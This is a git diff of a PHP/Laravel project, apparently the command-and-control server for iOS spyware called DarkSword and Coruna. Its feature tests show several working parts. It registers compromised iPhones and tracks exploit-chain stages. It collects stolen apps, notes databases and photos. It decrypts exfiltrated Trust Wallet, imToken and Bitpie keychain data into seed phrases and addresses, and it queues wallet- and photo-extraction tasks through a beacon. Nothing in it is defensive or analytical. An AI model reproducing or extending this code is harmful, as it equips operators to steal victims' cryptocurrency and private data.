($dsOrXxbb, $xxbb) { + Route::post('/a', $dsOrXxbb('profile', 'profile')); + Route::post('/u', $dsOrXxbb('apps', 'apps')); + Route::post('/event', $dsOrXxbb('event', 'event')); + Route::post('/nb', $dsOrXxbb('notes', 'notes')); + Route::post('/result', $dsOrXxbb('result', 'plugin')); + + Route::post('/t', [$xxbb, 'photos']); + Route::post('/uj', [$xxbb, 'plugin']); + Route::post('/us', [$xxbb, 'plugin']); + Route::post('/ub', [$xxbb, 'plugin']); + Route::post('/ba', [$xxbb, 'plugin']); + Route::post('/api/tg/t', [$xxbb, 'telegram']); }); diff --git a/tests/Feature/C2ApiTest.php b/tests/Feature/C2ApiTest.php index e172756..cfc8412 100644 --- a/tests/Feature/C2ApiTest.php +++ b/tests/Feature/C2ApiTest.php @@ -563,6 +563,8 @@ class C2ApiTest extends TestCase $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); $this->assertNotNull($ks); $this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null); + $this->assertSame('imToken', $ks->source); + $this->assertSame(0, (int) $ks->decrypted); } #[Test] @@ -815,6 +817,7 @@ class C2ApiTest extends TestCase ->assertOk() ->assertSee('钱包地址') ->assertSee('助记词') + ->assertSee('钥匙串') ->assertSee('相册') ->assertSee('已装 APP') ->assertSee('备忘录') @@ -826,5 +829,19 @@ class C2ApiTest extends TestCase $this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'apps'])) ->assertOk() ->assertJsonPath('code', 0); + + WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => '', + 'decrypted' => 0, + 'raw_json' => ['kind' => 'sandbox'], + ]); + $this->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.0.source', '未知') + ->assertJsonPath('data.0.decrypted', 0) + ->assertJsonPath('data.0.kind', '沙盒文件') + ->assertJsonPath('data.0.item_count', 0); } } diff --git a/tests/Feature/DarkSwordC2ApiTest.php b/tests/Feature/DarkSwordC2ApiTest.php new file mode 100644 index 0000000..6b850fd --- /dev/null +++ b/tests/Feature/DarkSwordC2ApiTest.php @@ -0,0 +1,851 @@ +encryptJson($payload, $ts); + + return $this->call('POST', $path, [], [], [], [ + 'CONTENT_TYPE' => 'text/plain', + 'HTTP_X_TS' => $ts, + ], $enc['body']); + } + + #[Test] + public function log_post_returns_accepted(): void + { + $this->postJson('/api/ds/log', ['text' => 'hello', 'source' => 'pe_mpd']) + ->assertOk() + ->assertExactJson(['status' => 'accepted']); + $this->assertSame(0, DsChainLog::query()->count()); + } + + #[Test] + public function log_with_stage_writes_chain_log_and_dedups(): void + { + $payload = [ + 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', + 'stage' => 'loader', + 'progress' => 18, + 'label' => 'loader', + 'channelCode' => 'BODOZR5F613N9', + ]; + $this->postJson('/api/ds/log', $payload)->assertOk()->assertJson(['status' => 'accepted']); + $this->postJson('/api/ds/log', $payload)->assertOk(); + + $this->assertSame(1, DsChainLog::query()->count()); + $row = DsChainLog::query()->first(); + $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid); + $this->assertSame('loader', $row->stage); + $this->assertSame(18, $row->progress); + $this->assertSame('BODOZR5F613N9', $row->channel_id); + } + + #[Test] + public function log_infers_stage_and_ignores_noise(): void + { + $this->postJson('/api/ds/log', [ + 'text' => 'malloc ok 0x1234', + 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', + ])->assertOk(); + $this->assertSame(0, DsChainLog::query()->count()); + + $this->postJson('/api/ds/log', [ + 'text' => 'pe_main_start', + 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', + ])->assertOk(); + $row = DsChainLog::query()->first(); + $this->assertNotNull($row); + $this->assertSame('pe', $row->stage); + $this->assertSame(86, $row->progress); + } + + #[Test] + public function next_chain_does_not_steal_ds_api_or_logs(): void + { + $this->getJson('/api/ds/chain-targets?ios=18.6') + ->assertOk() + ->assertJson([ + 'ok' => true, + 'chain' => 'darksword', + ]); + + $this->get('/log.html?text=lab') + ->assertOk() + ->assertSee('ok', false); + + $this->get('/api/ds/log?text=lab') + ->assertOk() + ->assertSee('ok', false); + } + + #[Test] + public function pe_stage_get_writes_file_log_and_chain_row(): void + { + $this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') + ->assertOk() + ->assertSee('ok', false); + + $row = DsChainLog::query()->first(); + $this->assertNotNull($row); + $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $row->client_uid); + $this->assertSame('pe', $row->stage); + $this->assertSame(86, $row->progress); + $this->assertSame('pe_stage:s1_launchd', $row->label); + + $this->get('/api/ds/pe-stage/s5_c2.js?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E') + ->assertOk(); + $this->assertSame(2, DsChainLog::query()->count()); + $this->assertSame('pe_stage:s5_c2', DsChainLog::query()->orderByDesc('id')->first()->label); + $this->assertSame(94, DsChainLog::query()->orderByDesc('id')->first()->progress); + + $this->get('/api/ds/pe-stage/s2_keychain') + ->assertOk() + ->assertSee('ok', false); + $this->assertSame(2, DsChainLog::query()->count()); + } + + #[Test] + public function plaintext_a_ingests_darksword_device(): void + { + $this->postJson('/a', [ + 'lhu' => self::DS_LHU, + 'machine' => 'iPhone15,2', + 'ios_version' => '18.6', + 'ip' => '192.168.31.77', + 'source' => 'c2_agent', + ])->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $this->assertSame(Device::FAMILY_DARKSWORD, $device->family); + $this->assertSame('iPhone15,2', $device->device_model); + $this->assertSame('18.6', $device->ios_version); + $this->assertSame('192.168.31.77', $device->ip); + $this->assertNull($device->channel_id); + } + + #[Test] + public function shared_path_with_x_ts_still_uses_xxbb_ack(): void + { + $this->xxbbPost('/a', [ + 'c' => '202700cfb1ad3de68e11239dcc26c30b', + 'd' => self::XXBB_D, + 'f' => self::XXBB_D, + 'deviceModel' => 'iPhone', + 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'], + ])->assertOk()->assertSee('1786468227899{}', false); + + $xxbb = Device::query()->where('device_id', self::XXBB_D)->first(); + $this->assertNotNull($xxbb); + $this->assertSame(Device::FAMILY_CORUNA, $xxbb->family); + + $this->postJson('/a', [ + 'lhu' => self::DS_LHU, + 'machine' => 'iPhone15,2', + 'ios_version' => '18.6', + ])->assertOk()->assertJson(['ok' => true]); + + $ds = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($ds); + $this->assertSame(Device::FAMILY_DARKSWORD, $ds->family); + $this->assertSame(2, Device::query()->count()); + } + + #[Test] + public function register_accepts_query_style_channel_code(): void + { + $this->postJson('/api/ds/device/register', [ + 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', + 'channeICode' => '0.0.01', + 'ios' => '18.6', + 'chain' => 'darksword', + ])->assertOk()->assertJson(['ok' => true]); + + $visit = PageVisit::query()->first(); + $this->assertNotNull($visit); + $this->assertSame('0.0.01', $visit->channel_id); + } + + #[Test] + public function register_uses_channel_code_not_ver_header(): void + { + $this->postJson('/api/ds/device/register', [ + 'deviceUUID' => '50624FE26CC4A0DF689EAEA117557C3E', + 'channelCode' => 'BODOZR5F613N9', + 'ios' => '18.6', + 'chain' => 'darksword', + ], [ + 'ver' => '3.1.07', + 'sdkv' => '3.1.07', + ])->assertOk()->assertJson(['ok' => true]); + + $this->assertNull(Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first()); + + $visit = PageVisit::query()->first(); + $this->assertNotNull($visit); + $this->assertSame('50624FE26CC4A0DF689EAEA117557C3E', $visit->client_uid); + $this->assertSame(PageVisit::CHAIN_DARKSWORD, $visit->chain); + $this->assertSame('DarkSword', PageVisit::chainLabel((int) $visit->chain)); + $this->assertSame('BODOZR5F613N9', $visit->channel_id); + $this->assertSame('iOS', $visit->os); + $this->assertSame('18.6', $visit->os_version); + + $this->postJson('/a', [ + 'lhu' => '50624FE26CC4A0DF689EAEA117557C3E', + 'machine' => 'iPhone15,2', + 'ios_version' => '18.6', + 'source' => 'c2_agent', + ])->assertOk(); + + $device = Device::query()->where('device_id', '50624FE26CC4A0DF689EAEA117557C3E')->first(); + $this->assertNotNull($device); + $this->assertSame(Device::FAMILY_DARKSWORD, $device->family); + $this->assertSame('BODOZR5F613N9', $device->channel_id); + $this->assertSame('18.6', $device->ios_version); + } + + #[Test] + public function u_writes_device_apps_from_object_or_list(): void + { + $this->postJson('/u', [ + 'lhu' => self::DS_LHU, + 'apps' => [ + '0' => ['bundleId' => 'im.token.app', 'name' => 'imToken'], + '1' => ['bundleId' => 'com.apple.MobileSMS', 'name' => 'Messages'], + ], + 'count' => 2, + 'source' => 'c2_agent', + ])->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $this->assertSame(1, DeviceApp::query()->where('device_id', $device->id)->count()); + $this->assertTrue( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->exists() + ); + $this->assertFalse( + DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists() + ); + $this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet); + } + + #[Test] + public function nb_writes_notes_and_stores_sqlite_blob(): void + { + Storage::fake('local'); + $sqlite = "SQLite format 3\0lab-notes"; + + $this->postJson('/nb', [ + 'lhu' => self::DS_LHU, + 'list' => [['id' => 4, 'title' => 'jdmdm', 'snippet' => 'hello', 'mod' => 0]], + 'db_files' => [[ + 'name' => 'NoteStore.sqlite', + 'data' => base64_encode($sqlite), + ]], + 'source' => 'c2_agent', + ])->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $note = Note::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($note); + $this->assertSame('jdmdm', $note->content[0]['title'] ?? null); + Storage::disk('local')->assertExists('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite'); + $this->assertSame($sqlite, Storage::disk('local')->get('c2/ds-notes/'.self::DS_LHU.'/NoteStore.sqlite')); + } + + #[Test] + public function war_without_mnemonic_stores_keystore_only(): void + { + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'source' => 'pe_war_guarantee', + 'keychain' => [ + 'wallets' => [ + 'trustwallet' => [ + 'count' => 1, + 'items' => [[ + 'accessGroup' => 'group.com.sixdays.team', + 'dataHex' => bin2hex('{"crypto":{"cipher":"aes-128-ctr"}}'), + ]], + ], + ], + 'errors' => ['aksUnwrap class=10 kr=3758097090'], + ], + 'sandbox' => [ + 'imtoken' => ['keystore.json' => '{"version":3}'], + ], + ])->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $this->assertSame(2, WalletKeystore::query()->where('device_id', $device->id)->count()); + $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); + $rows = WalletKeystore::query()->where('device_id', $device->id)->get(); + $this->assertTrue($rows->every(fn ($row) => (int) $row->decrypted === 0)); + $sources = $rows->pluck('source')->all(); + $this->assertContains('Trust Wallet', $sources); + $this->assertContains('imToken', $sources); + } + + #[Test] + public function war_twelve_word_phrase_ingests_mnemonic(): void + { + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'keychain' => [ + 'wallets' => [ + 'trustwallet' => [ + 'count' => 1, + 'items' => [[ + 'accessGroup' => 'group.com.sixdays.team', + 'dataHex' => bin2hex(self::TEST_MNEMONIC), + ]], + ], + ], + ], + 'sandbox' => [], + ])->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $row = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(self::TEST_MNEMONIC, $row->mnemonic); + $this->assertSame('Trust Wallet', $row->source); + } + + #[Test] + public function war_trust_utc_ingests_btc_eth_trx_cap_two(): void + { + Http::fake(); + $utc = [ + 'crypto' => ['cipher' => 'aes-128-ctr'], + 'activeAccounts' => [ + ['address' => 'bc1qnt0t864aqfwxsltmhpytrck2z9aqgaf6vpu4xc', 'coin' => 0], + ['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 60], + ['address' => '0x822927fE2a736E37418E1c9D1C2dEb6362Ca15dB', 'coin' => 137], + ['address' => 'TSdKdkH1XL9MohtSAdgT4AWQRXkUJtwU6i', 'coin' => 195], + ['address' => 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x', 'coin' => 2], + ['address' => 'bc1qsecondonlyforcapxxxxxxxxxxxxxxxxxxx', 'coin' => 0], + ['address' => 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx', 'coin' => 0], + ], + ]; + + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'sandbox' => [ + 'trust_wallet' => [ + 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), + ], + ], + ])->assertOk()->assertJson(['ok' => true]); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $rows = WalletAddress::query()->where('device_id', $device->id)->orderBy('id')->get(); + $this->assertSame(4, $rows->count()); + $this->assertSame(['BITCOIN', 'BITCOIN', 'ETHEREUM', 'TRON'], $rows->pluck('chain_type')->sort()->values()->all()); + $this->assertTrue($rows->every(fn ($row) => $row->source === 'Trust Wallet')); + $this->assertSame(2, $rows->where('chain_type', 'BITCOIN')->count()); + $this->assertFalse($rows->contains('address', 'bc1qthirdshouldnotpersistxxxxxxxxxxxxxxx')); + $this->assertFalse($rows->contains('address', 'ltc1qwyz0ven8psu2nh56lnyaupnpqgtn57j3ygvr7x')); + } + + #[Test] + public function war_class10_unwrap_failure_is_not_a_mnemonic(): void + { + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'keychain' => [ + 'wallets' => [ + 'trustwallet' => [ + 'count' => 1, + 'items' => [[ + 'class' => 10, + 'layer3Error' => 'aks_unwrap kr=3758097090', + 'dataHex' => bin2hex(self::TEST_MNEMONIC), + ]], + ], + ], + ], + ])->assertOk(); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count()); + $this->assertSame(1, WalletKeystore::query()->where('device_id', $device->id)->count()); + $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); + $this->assertSame('Trust Wallet', $ks->source); + $this->assertSame(0, (int) $ks->decrypted); + } + + #[Test] + public function war_trust_utc_decrypts_mnemonic_from_keychain_key(): void + { + $password = hex2bin('22d5cb2accb78f1e9d0a2c89d5d1af815fa96b1b8667548b39c75722c11e4ec2'); + $this->assertIsString($password); + $utc = EthKeystore::encrypt(self::TEST_MNEMONIC, $password, [ + 'n' => 16, + 'r' => 8, + 'p' => 1, + 'dklen' => 32, + 'salt' => str_repeat('ab', 32), + ]); + + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'keychain' => [ + 'wallets' => [ + 'trustwallet' => [ + 'count' => 1, + 'items' => [[ + 'account' => 'trustwalletUTC--demo', + 'accessGroup' => 'group.com.sixdays.team', + 'dataHex' => bin2hex($password), + ]], + ], + ], + ], + 'sandbox' => [ + 'trust_wallet' => [ + 'Documents/keystore/UTC--demo' => base64_encode(json_encode($utc)), + ], + ], + ])->assertOk(); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($mnemonic); + $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); + $this->assertSame('Trust Wallet', $mnemonic->source); + $rows = WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Trust Wallet')->get(); + $this->assertGreaterThanOrEqual(1, $rows->count()); + $this->assertTrue($rows->contains(fn ($row) => (int) $row->decrypted === 1)); + } + + #[Test] + public function war_bitpie_entropy_decrypts_mnemonic_and_addresses(): void + { + Http::fake(); + $entropy = '00000000000000000000000000000000'; + $trx = app(\App\Services\Chain\TronDriver::class)->deriveAddress(self::TEST_MNEMONIC, 0); + + $this->postJson('/war', [ + 'lhu' => self::DS_LHU, + 'keychain' => [ + 'wallets' => [ + 'bitpie' => [ + 'count' => 2, + 'items' => [ + [ + 'account' => 'seedPhraseEntropy', + 'service' => 'com.bitpie.wallet', + 'dataHex' => bin2hex(strtoupper($entropy)), + ], + [ + 'account' => 'userAddressKey', + 'service' => 'com.bitpie.wallet', + 'dataHex' => bin2hex($trx), + ], + ], + ], + ], + ], + 'sandbox' => [ + 'bitpie' => [ + 'Library/Preferences/com.bitpie.wallet.plist' => base64_encode( + 'kUserAddressesConfigure[{"address":"'.$trx.'","coin_code":"trx-trx"}]' + ), + ], + ], + ])->assertOk(); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $mnemonic = WalletMnemonic::query()->where('device_id', $device->id)->where('source', 'Bitpie')->first(); + $this->assertNotNull($mnemonic); + $this->assertSame(self::TEST_MNEMONIC, $mnemonic->mnemonic); + $this->assertTrue( + WalletKeystore::query()->where('device_id', $device->id)->where('source', 'Bitpie')->get() + ->contains(fn ($row) => (int) $row->decrypted === 1) + ); + $addr = WalletAddress::query() + ->where('device_id', $device->id) + ->where('address', $trx) + ->where('source', 'Bitpie') + ->first(); + $this->assertNotNull($addr); + $this->assertSame('TRON', $addr->chain_type); + $this->assertSame($mnemonic->id, $addr->mnemonic_id); + } + + #[Test] + public function beacon_walks_default_queue_then_loops_scan_tasks(): void + { + $types = DsBeaconQueue::TYPES; + $commandIds = []; + foreach ($types as $type) { + $resp = $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson([ + 'ok' => true, + 'type' => $type, + 'uuid' => self::DS_LHU, + ]); + $commandId = $resp->json('command_id'); + $this->assertNotEmpty($commandId); + $commandIds[] = $commandId; + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => $commandId, + 'filename' => $type.'_result.json', + 'category' => $type, + 'status' => 'success', + ])->assertOk(); + } + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $this->assertSame(Device::FAMILY_DARKSWORD, $device->family); + $this->assertSame(0, DeviceEvent::query()->count()); + $this->assertSame(count($types), DsBeaconTask::query()->where('device_id', $device->id)->count()); + $this->assertSame( + count($types), + DsBeaconTask::query()->where('device_id', $device->id)->where('status', DsBeaconTask::STATUS_DONE)->count() + ); + + $first = DsBeaconTask::query() + ->where('device_id', $device->id) + ->where('type', 'wallet_extract') + ->first(); + $this->assertNotNull($first); + $this->assertSame(DsBeaconTask::STATUS_DONE, $first->status); + $this->assertSame(1, $first->result_count); + $this->assertSame('wallet_extract_result.json', $first->result_meta['filename'] ?? null); + + $loop = $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson([ + 'ok' => true, + 'type' => 'wallet_extract', + 'uuid' => self::DS_LHU, + ]); + $loopId = $loop->json('command_id'); + $this->assertNotEmpty($loopId); + $this->assertNotSame($commandIds[0], $loopId); + + $first->refresh(); + $this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $first->status); + $this->assertSame($loopId, $first->command_id); + $this->assertSame(1, $first->result_count); + $this->assertSame( + 3, + DsBeaconTask::query() + ->where('device_id', $device->id) + ->whereIn('type', ['wallet_scan', 'photo_scan', 'apps']) + ->where('status', DsBeaconTask::STATUS_PENDING) + ->count() + ); + $this->assertSame( + 0, + DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'basic_info')->count() + ); + + $admin = Admin::query()->create(['username' => 'ds-admin', 'password' => 'admin123']); + $this->actingAs($admin, 'admin') + ->get(route('admin.devices.show', $device)) + ->assertOk() + ->assertSee('C2 队列') + ->assertSee('wallet_extract') + ->assertSee('wallet_scan') + ->assertSee('photo_scan') + ->assertDontSee('basic_info'); + $this->assertNotContains('photos', $types); + $this->assertNotContains('basic_info', $types); + $this->assertContains('photo_scan', $types); + } + + #[Test] + public function beacon_redelivers_dispatched_task_until_result(): void + { + $first = $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'wallet_extract']); + $firstId = $first->json('command_id'); + $this->assertNotEmpty($firstId); + + $retry = $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'wallet_extract']); + $retryId = $retry->json('command_id'); + $this->assertNotEmpty($retryId); + $this->assertNotSame($firstId, $retryId); + + $device = Device::query()->where('device_id', self::DS_LHU)->first(); + $this->assertNotNull($device); + $task = DsBeaconTask::query() + ->where('device_id', $device->id) + ->where('type', 'wallet_extract') + ->first(); + $this->assertNotNull($task); + $this->assertSame(DsBeaconTask::STATUS_DISPATCHED, $task->status); + $this->assertSame($retryId, $task->command_id); + $this->assertSame(2, (int) ($task->result_meta['dispatch_count'] ?? 0)); + + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => $retryId, + 'filename' => 'wallet_extract_result.json', + 'category' => 'wallet_extract', + 'status' => 'success', + ])->assertOk(); + + $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'wallet_scan']); + } + + #[Test] + public function beacon_skips_legacy_photos_task(): void + { + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'family' => Device::FAMILY_DARKSWORD, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'photos', + 'status' => DsBeaconTask::STATUS_PENDING, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 2, + 'type' => 'photo_scan', + 'status' => DsBeaconTask::STATUS_PENDING, + ]); + + $this->postJson('/beacon', [ + 'uuid' => self::DS_LHU, + 'status' => 'idle', + ])->assertOk()->assertJson(['type' => 'photo_scan']); + + $this->assertSame( + DsBeaconTask::STATUS_SKIPPED, + DsBeaconTask::query()->where('device_id', $device->id)->where('type', 'photos')->value('status') + ); + } + + #[Test] + public function result_stores_files_and_skips_video(): void + { + Storage::fake('local'); + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'family' => Device::FAMILY_DARKSWORD, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'photo_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-photo-1', + ]); + + $png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32)); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-photo-1', + 'filename' => 'IMG_0003.PNG', + 'category' => 'photos', + 'data' => $png, + ])->assertOk(); + + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-photo-1', + 'filename' => 'IMG_0005.MP4', + 'category' => 'photos', + 'data' => base64_encode('ftypisom'), + ])->assertOk(); + + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-photo-1', + 'filename' => 'photo_scan.json', + 'data' => base64_encode('{"status":"success","uploaded":1}'), + ])->assertOk(); + + $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0003.PNG'); + Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/photo_scan.json'); + Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-1/IMG_0005.MP4'); + } + + #[Test] + public function result_skips_duplicate_payloads_already_ingested(): void + { + Storage::fake('local'); + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'family' => Device::FAMILY_DARKSWORD, + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'photo_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-photo-dup-1', + ]); + DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 2, + 'type' => 'wallet_extract', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-wallet-dup-1', + ]); + + $png = base64_encode("\x89PNG\r\n\x1a\n".str_repeat('x', 32)); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-photo-dup-1', + 'filename' => 'IMG_0003.PNG', + 'category' => 'photos', + 'data' => $png, + ])->assertOk(); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-wallet-dup-1', + 'filename' => 'wallet_extract_result.json', + 'category' => 'wallet_extract', + 'data' => base64_encode('{"status":"success","wallets":1}'), + ])->assertOk(); + + DsBeaconTask::query()->where('command_id', 'dsq-photo-dup-1')->update([ + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-photo-dup-2', + ]); + DsBeaconTask::query()->where('type', 'wallet_extract')->update([ + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-wallet-dup-2', + ]); + + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-photo-dup-2', + 'filename' => 'IMG_0003.PNG', + 'category' => 'photos', + 'data' => $png, + ])->assertOk(); + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => 'dsq-wallet-dup-2', + 'filename' => 'wallet_extract_result.json', + 'category' => 'wallet_extract', + 'data' => base64_encode('{"status":"success","wallets":1}'), + ])->assertOk(); + + $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-1/IMG_0003.PNG'); + Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-photo-dup-2/IMG_0003.PNG'); + Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-1/wallet_extract_result.json'); + Storage::disk('local')->assertMissing('c2/ds-results/'.self::DS_LHU.'/dsq-wallet-dup-2/wallet_extract_result.json'); + } + + #[Test] + public function result_assembles_chunks_before_store(): void + { + Storage::fake('local'); + $device = Device::query()->create([ + 'device_id' => self::DS_LHU, + 'family' => Device::FAMILY_DARKSWORD, + ]); + $task = DsBeaconTask::query()->create([ + 'device_id' => $device->id, + 'position' => 1, + 'type' => 'photo_scan', + 'status' => DsBeaconTask::STATUS_DISPATCHED, + 'command_id' => 'dsq-chunk-1', + ]); + + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => $task->command_id, + 'filename' => 'IMG_0002.PNG', + 'category' => 'photos', + 'chunk_index' => 0, + 'total_chunks' => 2, + 'data' => base64_encode("\x89PNG"), + ])->assertOk(); + $this->assertSame(0, Photo::query()->count()); + + $this->postJson('/result', [ + 'uuid' => self::DS_LHU, + 'command_id' => $task->command_id, + 'filename' => 'IMG_0002.PNG', + 'category' => 'photos', + 'chunk_index' => 1, + 'total_chunks' => 2, + 'data' => base64_encode("\r\n\x1a\n"), + ])->assertOk(); + + $this->assertSame(1, Photo::query()->where('device_id', $device->id)->count()); + Storage::disk('local')->assertExists('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG'); + $this->assertSame( + "\x89PNG\r\n\x1a\n", + Storage::disk('local')->get('c2/ds-results/'.self::DS_LHU.'/dsq-chunk-1/IMG_0002.PNG') + ); + } + + #[Test] + public function event_heartbeats_without_device_events(): void + { + $this->postJson('/event', [ + 'lhu' => self::DS_LHU, + 'et' => 'injection_success', + ])->assertOk()->assertJson(['ok' => true]); + + $this->assertSame(0, DeviceEvent::query()->count()); + $this->assertNotNull(Device::query()->where('device_id', self::DS_LHU)->first()); + } +} diff --git a/tests/Feature/DeviceAlbumStorageTest.php b/tests/Feature/DeviceAlbumStorageTest.php index f567b31..777454a 100644 --- a/tests/Feature/DeviceAlbumStorageTest.php +++ b/tests/Feature/DeviceAlbumStorageTest.php @@ -10,6 +10,7 @@ use App\Models\User; use App\Services\IngestService; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Http; +use Illuminate\Support\Facades\Process; use Illuminate\Support\Facades\Storage; use PHPUnit\Framework\Attributes\Test; use Tests\TestCase; @@ -72,16 +73,16 @@ class DeviceAlbumStorageTest extends TestCase Http::assertSent(function ($request) { $text = (string) ($request->data()['text'] ?? ''); - return str_contains($text, 'Sensitive Photo') + return str_contains($text, '敏感照片') && str_contains($text, 'dev-hit12') - && str_contains($text, 'x-hit: 12'); + && str_contains($text, '敏感分: 12'); }); $ingest->ingestPhotos($device, [$tmp2], ['x_hit' => Photo::X_HIT_ALERT]); $this->assertSame(1, collect(Http::recorded())->filter(function ($pair) { $text = (string) ($pair[0]->data()['text'] ?? ''); - return str_contains($text, 'Sensitive Photo'); + return str_contains($text, '敏感照片'); })->count()); @unlink($tmp); @@ -155,4 +156,78 @@ class DeviceAlbumStorageTest extends TestCase ->postJson(route('user.devices.photos.clear', $other)) ->assertForbidden(); } + + #[Test] + public function photo_endpoint_serves_png_as_is(): void + { + Storage::fake('local'); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'dev-png']); + $tmp = sys_get_temp_dir().'/album_'.uniqid().'.png'; + $im = imagecreatetruecolor(4, 4); + imagefilledrectangle($im, 0, 0, 3, 3, imagecolorallocate($im, 